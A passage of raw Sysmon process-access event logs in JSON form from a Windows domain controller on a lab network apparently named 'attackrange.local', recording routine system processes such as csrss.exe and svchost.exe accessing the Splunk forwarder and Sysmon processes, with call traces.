Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40C0-5F2D-0000-0010B3A90500}\r\nTargetProcessId: 4844\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40C0-5F2D-0000-0010B3A90500}","TargetProcessId":"4844","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:36.321","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:36.321\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 